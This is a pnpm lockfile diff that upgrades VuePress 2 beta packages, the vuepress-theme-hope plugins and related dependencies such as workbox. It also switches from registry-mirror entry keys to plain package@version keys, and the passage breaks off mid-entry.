- resolution: {integrity: sha512-8777qDJ5tj+bBR8jC9uyfEQ8MLcADtSIao2W4drYo+ltxArMfHbFyAgOJzClocAfbN3xOzgiyjYKudayIAvJsQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/vuepress-plugin-sass-palette/-/vuepress-plugin-sass-palette-2.0.0-beta.124.tgz} - name: vuepress-plugin-sass-palette - version: 2.0.0-beta.124 + /vuepress-plugin-sass-palette@2.0.0-beta.231(vuepress@2.0.0-beta.64): + resolution: {integrity: sha512-JFohRGHhnvsFj9r+4UrLam3e6gmBYAi1s/Xxb66m9iyxMg5kl+kdJWBpN6DR8ybQyBZDgTFs1TYEYiWpAafA6A==} + engines: {node: '>=16.19.0', npm: '>=8', pnpm: '>=7'} peerDependencies: - sass-loader: ^13.0.0 + sass-loader: ^13.3.2 + vuepress: 2.0.0-beta.64 + vuepress-vite: 2.0.0-beta.64 + vuepress-webpack: 2.0.0-beta.64 peerDependenciesMeta: sass-loader: optional: true + vuepress: + optional: true + vuepress-vite: + optional: true + vuepress-webpack: + optional: true dependencies: - '@vuepress/utils': registry.npmmirror.com/@vuepress/utils/2.0.0-beta.53 - chokidar: registry.npmmirror.com/chokidar/3.5.3 - sass: registry.npmmirror.com/sass/1.56.1 - vuepress-shared: registry.npmmirror.com/vuepress-shared/2.0.0-beta.124 + '@vuepress/shared': 2.0.0-beta.64 + '@vuepress/utils': 2.0.0-beta.64 + chokidar: 3.5.3 + sass: 1.63.6 + vuepress: 2.0.0-beta.64(@types/node@17.0.32)(@vuepress/client@2.0.0-beta.64)(vue@3.3.4) + vuepress-shared: 2.0.0-beta.231(vuepress@2.0.0-beta.64) transitivePeerDependencies: + - '@vue/composition-api' - supports-color dev: true - registry.npmmirror.com/vuepress-plugin-search-pro/2.0.0-beta.124: - resolution: {integrity: sha512-NxXNAsft7hCfGDDrvdsyeB7XsS0u6wo3xt/t39iaoS3SInmFzCzbOZ9HfNnQjFWCZSX1X6j6KfqogdGNPMRhpg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/vuepress-plugin-search-pro/-/vuepress-plugin-search-pro-2.0.0-beta.124.tgz} - name: vuepress-plugin-search-pro - version: 2.0.0-beta.124 + /vuepress-plugin-search-pro@2.0.0-beta.231(vuepress@2.0.0-beta.64): + resolution: {integrity: sha512-97PJyh0BuSKXSaxybnyKdrL7q4rRwXP/yHttVpumWO+eDUdopMoX/EYR0H4JDXmXtlvfvFJcHfnPT9KFwyMn1g==} + engines: {node: '>=16.19.0', npm: '>=8', pnpm: '>=7'} peerDependencies: - sass-loader: ^13.3d.0 + sass-loader: ^13.3.2 + vuepress: 2.0.0-beta.64 + vuepress-vite: 2.0.0-beta.64 + vuepress-webpack: 2.0.0-beta.64 peerDependenciesMeta: sass-loader: optional: true + vuepress: + optional: true + vuepress-vite: + optional: true + vuepress-webpack: + optional: true dependencies: - '@vuepress/client': registry.npmmirror.com/@vuepress/client/2.0.0-beta.53 - '@vuepress/utils': registry.npmmirror.com/@vuepress/utils/2.0.0-beta.53 - '@vueuse/core': registry.npmmirror.com/@vueuse/core/9.5.0_vue@3.2.45 - cheerio: registry.npmmirror.com/cheerio/1.0.0-rc.12 - chokidar: registry.npmmirror.com/chokidar/3.5.3 - vue: registry.npmmirror.com/vue/3.2.45 - vue-router: registry.npmmirror.com/vue-router/4.1.6_vue@3.2.45 - vuepress-plugin-sass-palette: registry.npmmirror.com/vuepress-plugin-sass-palette/2.0.0-beta.124 - vuepress-shared: registry.npmmirror.com/vuepress-shared/2.0.0-beta.124 + '@vuepress/client': 2.0.0-beta.64 + '@vuepress/shared': 2.0.0-beta.64 + '@vuepress/utils': 2.0.0-beta.64 + '@vueuse/core': 10.2.1(vue@3.3.4) + cheerio: 1.0.0-rc.12 + chokidar: 3.5.3 + slimsearch: 1.0.0 + vue: 3.3.4 + vue-router: 4.2.4(vue@3.3.4) + vuepress: 2.0.0-beta.64(@types/node@17.0.32)(@vuepress/client@2.0.0-beta.64)(vue@3.3.4) + vuepress-plugin-sass-palette: 2.0.0-beta.231(vuepress@2.0.0-beta.64) + vuepress-shared: 2.0.0-beta.231(vuepress@2.0.0-beta.64) transitivePeerDependencies: - '@vue/composition-api' - supports-color dev: true - registry.npmmirror.com/vuepress-plugin-seo2/2.0.0-beta.124: - resolution: {integrity: sha512-PTr8VAjtAZ5l4T9HB15UgRGQ2zQVH/FgpI4A9nlZoYSXYhnrdQyTEH+N33UtZX95LkKhSIN9anB2D72ekP+sGQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/vuepress-plugin-seo2/-/vuepress-plugin-seo2-2.0.0-beta.124.tgz} - name: vuepress-plugin-seo2 - version: 2.0.0-beta.124 + /vuepress-plugin-seo2@2.0.0-beta.231(vuepress@2.0.0-beta.64): + resolution: {integrity: sha512-IzLMqyl22xup3nK/87h116JFQZ1v6hu4ES05SFWFHzCQauo9MgZD90sjlVA9UUIOrzhmdL8ghpu6L214jxWZ+A==} + engines: {node: '>=16.19.0', npm: '>=8', pnpm: '>=7'} + peerDependencies: + vuepress: 2.0.0-beta.64 + vuepress-vite: 2.0.0-beta.64 + vuepress-webpack: 2.0.0-beta.64 + peerDependenciesMeta: + vuepress: + optional: true + vuepress-vite: + optional: true + vuepress-webpack: + optional: true dependencies: - '@vuepress/shared': registry.npmmirror.com/@vuepress/shared/2.0.0-beta.53 - '@vuepress/utils': registry.npmmirror.com/@vuepress/utils/2.0.0-beta.53 - gray-matter: registry.npmmirror.com/gray-matter/4.0.3 - vuepress-shared: registry.npmmirror.com/vuepress-shared/2.0.0-beta.124 + '@vuepress/shared': 2.0.0-beta.64 + '@vuepress/utils': 2.0.0-beta.64 + vuepress: 2.0.0-beta.64(@types/node@17.0.32)(@vuepress/client@2.0.0-beta.64)(vue@3.3.4) + vuepress-shared: 2.0.0-beta.231(vuepress@2.0.0-beta.64) transitivePeerDependencies: + - '@vue/composition-api' - supports-color dev: true - registry.npmmirror.com/vuepress-plugin-sitemap2/2.0.0-beta.124: - resolution: {integrity: sha512-uzJv3ncHp/Iw3UH5TRGP9j4Fa/jgohzY3r0lzsKp0PeaTYu8uCIDi7veTVpxwi+WyZEJxhoA+vypokc5sU8kvQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/vuepress-plugin-sitemap2/-/vuepress-plugin-sitemap2-2.0.0-beta.124.tgz} - name: vuepress-plugin-sitemap2 - version: 2.0.0-beta.124 + /vuepress-plugin-sitemap2@2.0.0-beta.231(vuepress@2.0.0-beta.64): + resolution: {integrity: sha512-cqenXB2QIw/t2BBsI4AM3YRdTU4VpoXvEiobFCMCJWNkVJeOYg/xdCBBdbmgCZgb1NJCU2nbmud2E1sZlx8wFA==} + engines: {node: '>=16.19.0', npm: '>=8', pnpm: '>=7'} + peerDependencies: + vuepress: 2.0.0-beta.64 + vuepress-vite: 2.0.0-beta.64 + vuepress-webpack: 2.0.0-beta.64 + peerDependenciesMeta: + vuepress: + optional: true + vuepress-vite: + optional: true + vuepress-webpack: + optional: true dependencies: - '@vuepress/shared': registry.npmmirror.com/@vuepress/shared/2.0.0-beta.53 - '@vuepress/utils': registry.npmmirror.com/@vuepress/utils/2.0.0-beta.53 - sitemap: registry.npmmirror.com/sitemap/7.1.1 - vuepress-shared: registry.npmmirror.com/vuepress-shared/2.0.0-beta.124 + '@vuepress/shared': 2.0.0-beta.64 + '@vuepress/utils': 2.0.0-beta.64 + sitemap: 7.1.1 + vuepress: 2.0.0-beta.64(@types/node@17.0.32)(@vuepress/client@2.0.0-beta.64)(vue@3.3.4) + vuepress-shared: 2.0.0-beta.231(vuepress@2.0.0-beta.64) transitivePeerDependencies: + - '@vue/composition-api' - supports-color dev: true - registry.npmmirror.com/vuepress-shared/2.0.0-beta.124: - resolution: {integrity: sha512-gMXvmKJtq+RqJnC4j/lDZrKimhQp5j087H0UI3iCQLqsZ/HddXIpqQElZr43jfEIpVEV3M/+usbiTF0fwepFlA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/vuepress-shared/-/vuepress-shared-2.0.0-beta.124.tgz} - name: vuepress-shared - version: 2.0.0-beta.124 - dependencies: - '@vuepress/client': registry.npmmirror.com/@vuepress/client/2.0.0-beta.53 - '@vuepress/plugin-git': registry.npmmirror.com/@vuepress/plugin-git/2.0.0-beta.53 - '@vuepress/shared': registry.npmmirror.com/@vuepress/shared/2.0.0-beta.53 - '@vuepress/utils': registry.npmmirror.com/@vuepress/utils/2.0.0-beta.53 - dayjs: registry.npmmirror.com/dayjs/1.11.6 - execa: registry.npmmirror.com/execa/6.1.0 - fflate: registry.npmmirror.com/fflate/0.7.4 - ora: registry.npmmirror.com/ora/6.1.2 - striptags: registry.npmmirror.com/striptags/3.2.0 - vue: registry.npmmirror.com/vue/3.2.45 - vue-router: registry.npmmirror.com/vue-router/4.1.6_vue@3.2.45 + /vuepress-shared@2.0.0-beta.231(vuepress@2.0.0-beta.64): + resolution: {integrity: sha512-60+wpcjPGAcJQ+Vd0CKTYDe1sca+VRAmLuCQIZvVlxYqOv1nqhrBF1lqogzv3U1JlUTJiCF2apvcgxIw/pOKjw==} + engines: {node: '>=16.19.0', npm: '>=8', pnpm: '>=7'} + peerDependencies: + vuepress: 2.0.0-beta.64 + vuepress-vite: 2.0.0-beta.64 + vuepress-webpack: 2.0.0-beta.64 + peerDependenciesMeta: + vuepress: + optional: true + vuepress-vite: + optional: true + vuepress-webpack: + optional: true + dependencies: + '@vuepress/client': 2.0.0-beta.64 + '@vuepress/shared': 2.0.0-beta.64 + '@vuepress/utils': 2.0.0-beta.64 + '@vueuse/core': 10.2.1(vue@3.3.4) + cheerio: 1.0.0-rc.12 + dayjs: 1.11.9 + execa: 7.1.1 + fflate: 0.8.0 + gray-matter: 4.0.3 + semver: 7.5.4 + striptags: 3.2.0 + vue: 3.3.4 + vue-router: 4.2.4(vue@3.3.4) + vuepress: 2.0.0-beta.64(@types/node@17.0.32)(@vuepress/client@2.0.0-beta.64)(vue@3.3.4) transitivePeerDependencies: + - '@vue/composition-api' - supports-color dev: true - registry.npmmirror.com/vuepress-theme-hope/2.0.0-beta.124: - resolution: {integrity: sha512-N/RzhOaU4rDWprbKgz807H5diT2gEEO5XKNSzR9L0Gh36TPqDUs7t1EPal1fJrHtn6QbBM1Zf9Unmqw8QBCHPQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/vuepress-theme-hope/-/vuepress-theme-hope-2.0.0-beta.124.tgz} - name: vuepress-theme-hope - version: 2.0.0-beta.124 + /vuepress-theme-hope@2.0.0-beta.231(vuepress@2.0.0-beta.64): + resolution: {integrity: sha512-APcZUp2dFTEwsXeJ5yPADJe2cGdFW0ebHjavmlyGxDyuRrFInXQVlv00Xug/0LUh3TXQZ3uLqKFBT3VIuhbdUQ==} + engines: {node: '>=16.19.0', npm: '>=8', pnpm: '>=7'} peerDependencies: - sass-loader: ^13.0.0 + sass-loader: ^13.3.2 + vuepress: 2.0.0-beta.64 + vuepress-vite: 2.0.0-beta.64 + vuepress-webpack: 2.0.0-beta.64 peerDependenciesMeta: sass-loader: optional: true + vuepress: + optional: true + vuepress-vite: + optional: true + vuepress-webpack: + optional: true dependencies: - '@vuepress/cli': registry.npmmirror.com/@vuepress/cli/2.0.0-beta.53 - '@vuepress/client': registry.npmmirror.com/@vuepress/client/2.0.0-beta.53 - '@vuepress/core': registry.npmmirror.com/@vuepress/core/2.0.0-beta.53 - '@vuepress/plugin-active-header-links': registry.npmmirror.com/@vuepress/plugin-active-header-links/2.0.0-beta.53 - '@vuepress/plugin-container': registry.npmmirror.com/@vuepress/plugin-container/2.0.0-beta.53 - '@vuepress/plugin-external-link-icon': registry.npmmirror.com/@vuepress/plugin-external-link-icon/2.0.0-beta.53 - '@vuepress/plugin-git': registry.npmmirror.com/@vuepress/plugin-git/2.0.0-beta.53 - '@vuepress/plugin-nprogress': registry.npmmirror.com/@vuepress/plugin-nprogress/2.0.0-beta.53 - '@vuepress/plugin-palette': registry.npmmirror.com/@vuepress/plugin-palette/2.0.0-beta.53 - '@vuepress/plugin-prismjs': registry.npmmirror.com/@vuepress/plugin-prismjs/2.0.0-beta.53 - '@vuepress/plugin-theme-data': registry.npmmirror.com/@vuepress/plugin-theme-data/2.0.0-beta.53 - '@vuepress/shared': registry.npmmirror.com/@vuepress/shared/2.0.0-beta.53 - '@vuepress/utils': registry.npmmirror.com/@vuepress/utils/2.0.0-beta.53 - '@vueuse/core': registry.npmmirror.com/@vueuse/core/9.5.0_vue@3.2.45 - balloon-css: registry.npmmirror.com/balloon-css/1.2.0 - bcrypt-ts: registry.npmmirror.com/bcrypt-ts/3.0.0 - gray-matter: registry.npmmirror.com/gray-matter/4.0.3 - vue: registry.npmmirror.com/vue/3.2.45 - vue-router: registry.npmmirror.com/vue-router/4.1.6_vue@3.2.45 - vuepress-plugin-blog2: registry.npmmirror.com/vuepress-plugin-blog2/2.0.0-beta.124 - vuepress-plugin-comment2: registry.npmmirror.com/vuepress-plugin-comment2/2.0.0-beta.124 - vuepress-plugin-components: registry.npmmirror.com/vuepress-plugin-components/2.0.0-beta.124 - vuepress-plugin-copy-code2: registry.npmmirror.com/vuepress-plugin-copy-code2/2.0.0-beta.124 - vuepress-plugin-copyright2: registry.npmmirror.com/vuepress-plugin-copyright2/2.0.0-beta.124 - vuepress-plugin-feed2: registry.npmmirror.com/vuepress-plugin-feed2/2.0.0-beta.124 - vuepress-plugin-md-enhance: registry.npmmirror.com/vuepress-plugin-md-enhance/2.0.0-beta.124 - vuepress-plugin-photo-swipe: registry.npmmirror.com/vuepress-plugin-photo-swipe/2.0.0-beta.124 - vuepress-plugin-pwa2: registry.npmmirror.com/vuepress-plugin-pwa2/2.0.0-beta.124 - vuepress-plugin-reading-time2: registry.npmmirror.com/vuepress-plugin-reading-time2/2.0.0-beta.124 - vuepress-plugin-sass-palette: registry.npmmirror.com/vuepress-plugin-sass-palette/2.0.0-beta.124 - vuepress-plugin-seo2: registry.npmmirror.com/vuepress-plugin-seo2/2.0.0-beta.124 - vuepress-plugin-sitemap2: registry.npmmirror.com/vuepress-plugin-sitemap2/2.0.0-beta.124 - vuepress-shared: registry.npmmirror.com/vuepress-shared/2.0.0-beta.124 + '@vuepress/cli': 2.0.0-beta.64 + '@vuepress/client': 2.0.0-beta.64 + '@vuepress/core': 2.0.0-beta.64 + '@vuepress/plugin-active-header-links': 2.0.0-beta.64 + '@vuepress/plugin-container': 2.0.0-beta.64 + '@vuepress/plugin-external-link-icon': 2.0.0-beta.64 + '@vuepress/plugin-git': 2.0.0-beta.64 + '@vuepress/plugin-nprogress': 2.0.0-beta.64 + '@vuepress/plugin-prismjs': 2.0.0-beta.64 + '@vuepress/plugin-theme-data': 2.0.0-beta.64 + '@vuepress/shared': 2.0.0-beta.64 + '@vuepress/utils': 2.0.0-beta.64 + '@vueuse/core': 10.2.1(vue@3.3.4) + balloon-css: 1.2.0 + bcrypt-ts: 4.0.0 + cheerio: 1.0.0-rc.12 + chokidar: 3.5.3 + gray-matter: 4.0.3 + vue: 3.3.4 + vue-router: 4.2.4(vue@3.3.4) + vuepress: 2.0.0-beta.64(@types/node@17.0.32)(@vuepress/client@2.0.0-beta.64)(vue@3.3.4) + vuepress-plugin-auto-catalog: 2.0.0-beta.231(vuepress@2.0.0-beta.64) + vuepress-plugin-blog2: 2.0.0-beta.231(vuepress@2.0.0-beta.64) + vuepress-plugin-comment2: 2.0.0-beta.231(vuepress@2.0.0-beta.64) + vuepress-plugin-components: 2.0.0-beta.231(vuepress@2.0.0-beta.64) + vuepress-plugin-copy-code2: 2.0.0-beta.231(vuepress@2.0.0-beta.64) + vuepress-plugin-copyright2: 2.0.0-beta.231(vuepress@2.0.0-beta.64) + vuepress-plugin-feed2: 2.0.0-beta.231(vuepress@2.0.0-beta.64) + vuepress-plugin-md-enhance: 2.0.0-beta.231(vuepress@2.0.0-beta.64) + vuepress-plugin-photo-swipe: 2.0.0-beta.231(vuepress@2.0.0-beta.64) + vuepress-plugin-pwa2: 2.0.0-beta.231(vuepress@2.0.0-beta.64) + vuepress-plugin-reading-time2: 2.0.0-beta.231(vuepress@2.0.0-beta.64) + vuepress-plugin-rtl: 2.0.0-beta.231(vuepress@2.0.0-beta.64) + vuepress-plugin-sass-palette: 2.0.0-beta.231(vuepress@2.0.0-beta.64) + vuepress-plugin-seo2: 2.0.0-beta.231(vuepress@2.0.0-beta.64) + vuepress-plugin-sitemap2: 2.0.0-beta.231(vuepress@2.0.0-beta.64) + vuepress-shared: 2.0.0-beta.231(vuepress@2.0.0-beta.64) transitivePeerDependencies: - '@types/babel__core' - '@vue/composition-api' - - encoding - supports-color dev: true - registry.npmmirror.com/vuepress-vite/2.0.0-beta.53_54nmke4n2vj3tdp5cd33kvtiom: - resolution: {integrity: sha512-kITVMM+LcV5mDQXQXAKgK0adAGMm7oyPls6HPTLM9gUvpSs2A19zfwf8zFoxIF9X+ANay4Tg87egtnJOcp8Wcg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/vuepress-vite/-/vuepress-vite-2.0.0-beta.53.tgz} - id: registry.npmmirror.com/vuepress-vite/2.0.0-beta.53 - name: vuepress-vite - version: 2.0.0-beta.53 + /vuepress-vite@2.0.0-beta.64(@types/node@17.0.32)(@vuepress/client@2.0.0-beta.64)(vue@3.3.4): + resolution: {integrity: sha512-K0ZdIJEEC3JWTke4R+DUYIvvoZ991zCGq92XkvjEDZ1+15meMUxmIcFFIwEbha5nmUjJrOGQVXrkn11nazT75w==} + engines: {node: '>=16.19.0'} hasBin: true peerDependencies: - '@vuepress/client': ^2.0.0-beta.50 - vue: ^3.2.37 - dependencies: - '@vuepress/bundler-vite': registry.npmmirror.com/@vuepress/bundler-vite/2.0.0-beta.53 - '@vuepress/cli': registry.npmmirror.com/@vuepress/cli/2.0.0-beta.53 - '@vuepress/client': registry.npmmirror.com/@vuepress/client/2.0.0-beta.53 - '@vuepress/core': registry.npmmirror.com/@vuepress/core/2.0.0-beta.53 - '@vuepress/theme-default': registry.npmmirror.com/@vuepress/theme-default/2.0.0-beta.53 - vue: registry.npmmirror.com/vue/3.2.45 + '@vuepress/client': 2.0.0-beta.64 + vue: ^3.3.4 + dependencies: + '@vuepress/bundler-vite': 2.0.0-beta.64(@types/node@17.0.32) + '@vuepress/cli': 2.0.0-beta.64 + '@vuepress/client': 2.0.0-beta.64 + '@vuepress/core': 2.0.0-beta.64 + '@vuepress/theme-default': 2.0.0-beta.64 + vue: 3.3.4 transitivePeerDependencies: + - '@types/node' - '@vue/composition-api' - less - sass - sass-loader - stylus + - sugarss - supports-color - terser - ts-node dev: true - registry.npmmirror.com/vuepress/2.0.0-beta.53_54nmke4n2vj3tdp5cd33kvtiom: - resolution: {integrity: sha512-swnH25oCHAE0ZIXBAp4gaalIsrxLLn+mguekOybwLcTNQUgbcqf8EXwVxOgN663JzPuHcxRAJg3nN/swKsFifQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/vuepress/-/vuepress-2.0.0-beta.53.tgz} - id: registry.npmmirror.com/vuepress/2.0.0-beta.53 - name: vuepress - version: 2.0.0-beta.53 + /vuepress@2.0.0-beta.64(@types/node@17.0.32)(@vuepress/client@2.0.0-beta.64)(vue@3.3.4): + resolution: {integrity: sha512-7Z9DyxPn/2E7LVEAtvrFVwatbwRWoaVXT8uB7+/nhoDSjpWahzgCnzCcdVEPw0nHU4mYN5S27yl0Pfcda1w9Zg==} + engines: {node: '>=16.19.0'} hasBin: true dependencies: - vuepress-vite: registry.npmmirror.com/vuepress-vite/2.0.0-beta.53_54nmke4n2vj3tdp5cd33kvtiom + vuepress-vite: 2.0.0-beta.64(@types/node@17.0.32)(@vuepress/client@2.0.0-beta.64)(vue@3.3.4) transitivePeerDependencies: + - '@types/node' - '@vue/composition-api' - '@vuepress/client' - less - sass - sass-loader - stylus + - sugarss - supports-color - terser - ts-node - vue dev: true - registry.npmmirror.com/wcwidth/1.0.1: - resolution: {integrity: sha512-XHPEwS0q6TaxcvG85+8EYkbiCux2XtWG2mkc47Ng2A77BQu9+DqIOJldST4HgPkuea7dvKSj5VgX3P1d4rW8Tg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/wcwidth/-/wcwidth-1.0.1.tgz} - name: wcwidth - version: 1.0.1 + /wcwidth@1.0.1: + resolution: {integrity: sha512-XHPEwS0q6TaxcvG85+8EYkbiCux2XtWG2mkc47Ng2A77BQu9+DqIOJldST4HgPkuea7dvKSj5VgX3P1d4rW8Tg==} dependencies: - defaults: registry.npmmirror.com/defaults/1.0.3 + defaults: 1.0.3 dev: true - registry.npmmirror.com/web-resource-inliner/6.0.1: - resolution: {integrity: sha512-kfqDxt5dTB1JhqsCUQVFDj0rmY+4HLwGQIsLPbyrsN9y9WV/1oFDSx3BQ4GfCv9X+jVeQ7rouTqwK53rA/7t8A==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/web-resource-inliner/-/web-resource-inliner-6.0.1.tgz} - name: web-resource-inliner - version: 6.0.1 - engines: {node: '>=10.0.0'} - dependencies: - ansi-colors: registry.npmmirror.com/ansi-colors/4.1.3 - escape-goat: registry.npmmirror.com/escape-goat/3.0.0 - htmlparser2: registry.npmmirror.com/htmlparser2/5.0.1 - mime: registry.npmmirror.com/mime/2.6.0 - node-fetch: registry.npmmirror.com/node-fetch/2.6.7 - valid-data-url: registry.npmmirror.com/valid-data-url/3.0.1 - transitivePeerDependencies: - - encoding + /web-worker@1.2.0: + resolution: {integrity: sha512-PgF341avzqyx60neE9DD+XS26MMNMoUQRz9NOZwW32nPQrF6p77f1htcnjBSEV8BGMKZ16choqUG4hyI0Hx7mA==} dev: true - registry.npmmirror.com/webidl-conversions/3.0.1: - resolution: {integrity: sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/webidl-conversions/-/webidl-conversions-3.0.1.tgz} - name: webidl-conversions - version: 3.0.1 + /webidl-conversions@4.0.2: + resolution: {integrity: sha512-YQ+BmxuTgd6UXZW3+ICGfyqRyHXVlD5GtQr5+qjiNW7bF0cqrzX500HVXPBOvgXb5YnzDd+h0zqyv61KUD7+Sg==} dev: true - registry.npmmirror.com/webidl-conversions/4.0.2: - resolution: {integrity: sha512-YQ+BmxuTgd6UXZW3+ICGfyqRyHXVlD5GtQr5+qjiNW7bF0cqrzX500HVXPBOvgXb5YnzDd+h0zqyv61KUD7+Sg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/webidl-conversions/-/webidl-conversions-4.0.2.tgz} - name: webidl-conversions - version: 4.0.2 + /webworkify-webpack@2.1.5: + resolution: {integrity: sha512-2akF8FIyUvbiBBdD+RoHpoTbHMQF2HwjcxfDvgztAX5YwbZNyrtfUMgvfgFVsgDhDPVTlkbb5vyasqDHfIDPQw==} dev: true - registry.npmmirror.com/whatwg-url/5.0.0: - resolution: {integrity: sha512-saE57nupxk6v3HY35+jzBwYa0rKSy0XR8JSxZPwgLr7ys0IBzhGviA1/TUGJLmSVqs8pb9AnvICXEuOHLprYTw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/whatwg-url/-/whatwg-url-5.0.0.tgz} - name: whatwg-url - version: 5.0.0 + /whatwg-url@7.1.0: + resolution: {integrity: sha512-WUu7Rg1DroM7oQvGWfOiAK21n74Gg+T4elXEQYkOhtyLeWiJFoOGLXPKI/9gzIie9CtwVLm8wtw6YJdKyxSjeg==} dependencies: - tr46: registry.npmmirror.com/tr46/0.0.3 - webidl-conversions: registry.npmmirror.com/webidl-conversions/3.0.1 + lodash.sortby: 4.7.0 + tr46: 1.0.1 + webidl-conversions: 4.0.2 dev: true - registry.npmmirror.com/whatwg-url/7.1.0: - resolution: {integrity: sha512-WUu7Rg1DroM7oQvGWfOiAK21n74Gg+T4elXEQYkOhtyLeWiJFoOGLXPKI/9gzIie9CtwVLm8wtw6YJdKyxSjeg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/whatwg-url/-/whatwg-url-7.1.0.tgz} - name: whatwg-url - version: 7.1.0 + /which-boxed-primitive@1.0.2: + resolution: {integrity: sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg==} dependencies: - lodash.sortby: registry.npmmirror.com/lodash.sortby/4.7.0 - tr46: registry.npmmirror.com/tr46/1.0.1 - webidl-conversions: registry.npmmirror.com/webidl-conversions/4.0.2 + is-bigint: 1.0.4 + is-boolean-object: 1.1.2 + is-number-object: 1.0.7 + is-string: 1.0.7 + is-symbol: 1.0.4 dev: true - registry.npmmirror.com/which-boxed-primitive/1.0.2: - resolution: {integrity: sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/which-boxed-primitive/-/which-boxed-primitive-1.0.2.tgz} - name: which-boxed-primitive - version: 1.0.2 - dependencies: - is-bigint: registry.npmmirror.com/is-bigint/1.0.4 - is-boolean-object: registry.npmmirror.com/is-boolean-object/1.1.2 - is-number-object: registry.npmmirror.com/is-number-object/1.0.7 - is-string: registry.npmmirror.com/is-string/1.0.7 - is-symbol: registry.npmmirror.com/is-symbol/1.0.4 + /which-module@2.0.1: + resolution: {integrity: sha512-iBdZ57RDvnOR9AGBhML2vFZf7h8vmBjhoaZqODJBFWHVtKkDmKuHai3cx5PgVMrX5YDNp27AofYbAwctSS+vhQ==} dev: true - registry.npmmirror.com/which/1.3.1: - resolution: {integrity: sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/which/-/which-1.3.1.tgz} - name: which - version: 1.3.1 + /which@1.3.1: + resolution: {integrity: sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==} hasBin: true dependencies: - isexe: registry.npmmirror.com/isexe/2.0.0 + isexe: 2.0.0 dev: true - registry.npmmirror.com/which/2.0.2: - resolution: {integrity: sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/which/-/which-2.0.2.tgz} - name: which - version: 2.0.2 + /which@2.0.2: + resolution: {integrity: sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==} engines: {node: '>= 8'} hasBin: true dependencies: - isexe: registry.npmmirror.com/isexe/2.0.0 + isexe: 2.0.0 dev: true - registry.npmmirror.com/wicked-good-xpath/1.3.0: - resolution: {integrity: sha512-Gd9+TUn5nXdwj/hFsPVx5cuHHiF5Bwuc30jZ4+ronF1qHK5O7HD0sgmXWSEgwKquT3ClLoKPVbO6qGwVwLzvAw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/wicked-good-xpath/-/wicked-good-xpath-1.3.0.tgz} - name: wicked-good-xpath - version: 1.3.0 + /wicked-good-xpath@1.3.0: + resolution: {integrity: sha512-Gd9+TUn5nXdwj/hFsPVx5cuHHiF5Bwuc30jZ4+ronF1qHK5O7HD0sgmXWSEgwKquT3ClLoKPVbO6qGwVwLzvAw==} + dev: true + + /word-wrap@1.2.3: + resolution: {integrity: sha512-Hz/mrNwitNRh/HUAtM/VT/5VH+ygD6DV7mYKZAtHOrbs8U7lvPS6xf7EJKMF0uW1KJCl0H701g3ZGus+muE5vQ==} + engines: {node: '>=0.10.0'} dev: true - registry.npmmirror.com/workbox-background-sync/6.5.4: - resolution: {integrity: sha512-0r4INQZMyPky/lj4Ou98qxcThrETucOde+7mRGJl13MPJugQNKeZQOdIJe/1AchOP23cTqHcN/YVpD6r8E6I8g==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/workbox-background-sync/-/workbox-background-sync-6.5.4.tgz} - name: workbox-background-sync - version: 6.5.4 + /workbox-background-sync@7.0.0: + resolution: {integrity: sha512-S+m1+84gjdueM+jIKZ+I0Lx0BDHkk5Nu6a3kTVxP4fdj3gKouRNmhO8H290ybnJTOPfBDtTMXSQA/QLTvr7PeA==} dependencies: - idb: registry.npmmirror.com/idb/7.1.1 - workbox-core: registry.npmmirror.com/workbox-core/6.5.4 + idb: 7.1.1 + workbox-core: 7.0.0 dev: true - registry.npmmirror.com/workbox-broadcast-update/6.5.4: - resolution: {integrity: sha512-I/lBERoH1u3zyBosnpPEtcAVe5lwykx9Yg1k6f8/BGEPGaMMgZrwVrqL1uA9QZ1NGGFoyE6t9i7lBjOlDhFEEw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/workbox-broadcast-update/-/workbox-broadcast-update-6.5.4.tgz} - name: workbox-broadcast-update - version: 6.5.4 + /workbox-broadcast-update@7.0.0: + resolution: {integrity: sha512-oUuh4jzZrLySOo0tC0WoKiSg90bVAcnE98uW7F8GFiSOXnhogfNDGZelPJa+6KpGBO5+Qelv04Hqx2UD+BJqNQ==} dependencies: - 